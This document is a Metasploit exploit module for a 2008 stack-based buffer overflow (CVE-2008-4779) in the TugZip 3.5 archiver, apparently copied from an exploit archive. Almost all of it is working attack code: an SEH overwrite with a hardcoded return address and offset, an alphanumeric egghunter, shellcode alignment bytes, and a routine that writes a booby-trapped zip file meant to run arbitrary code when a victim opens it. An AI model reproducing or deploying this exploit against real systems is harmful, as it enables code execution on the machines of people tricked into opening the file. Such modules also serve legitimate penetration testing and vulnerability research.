TugZip 3.5 Archiver – ‘.ZIP’ File Parsing Buffer Overflow (Metasploit)
## # $Id: tugzip.rb 13868 2011-10-11 03:30:14Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex/zip' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in the latest version 3.5 of TugZip archiving utility. In order to trigger the vulnerability, an attacker must convince someone to load a specially crafted zip file with TugZip by double click or file open. By doing so, an attacker can execute arbitrary code as the victim user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Stefan Marin', # Vulnerability discovery 'Lincoln', # Corelan team. Original exploit 'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module 'mr_me <steventhomasseeley[at]gmail.com>', # Metasploit module ], 'Version' => '$Revision: 13868 $', 'References' => [ [ 'OSVDB', '49371' ], [ 'CVE', '2008-4779' ], [ 'BID', '17432' ], [ 'URL', 'http://www.exploit-db.com/exploits/12008/' ] ], 'Platform' => [ 'win' ], 'Payload' => { 'BadChars' => "\x00\x0f\x14\x15\x2f" + (0x80..0xff).to_a.pack('C*'), 'DisableNops' => true, # no need 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'EDI', # Egghunter jmp EDI } }, 'Targets' => [ [ 'Universal', { 'Ret' => 0x7e0c307e, # 5.00.2147.1 [ztvcabinet.dll] # POP EBX > POP EBP > RETN 'Offset' => 372, # to nseh } ], ], 'DislosureDate' => 'Oct 28 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']), ], self.class) end def exploit # Hardcoded egghunter due to size limit (before nseh destroyed/130D past seh of usable bytes) # base register ESI hunter = "VYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIK9Jzs" hunter << "rbrRJuRRxzmvNWLWuQJt4ZOnXPwtpTpQdLKJZLoPuzJNO3EXgkOJGA" eggtag = 'w00t' * 2 getpc_asm = %q{ popad popad popad popad popad pop ebx } # Align EBX for hunter alignment = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string # Align for ESI + factoring mangled chars alignment << "\x89\x05" # jmp short (5 bytes) to 'jmp back' at end alignment << "\x5e" # pop esi alignment << "\x41" # nop (inc ecx) alignment << "\x98\x99" # call esi alignment << "\x41" # nop (inc ecx) alignment << "\x8a\x94\x98\x98\x98" # jmp back to pop esi getpc_asm = %q{ popad pop esp inc eax inc eax } # Realign stack pointer nseh = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string seh = [target.ret].pack("V*") sploit = rand_text_alpha(target['Offset']) sploit << nseh << seh sploit << alignment sploit << hunter sploit << eggtag << payload.encoded zip = Rex::Zip::Archive.new xtra = [0xdac0ffee].pack('V') comment = [0xbadc0ded].pack('V') zip.add_file(sploit, xtra, comment) # Create the file print_status("Creating '#{datastore['FILENAME']}' file...") file_create(zip.pack) end end |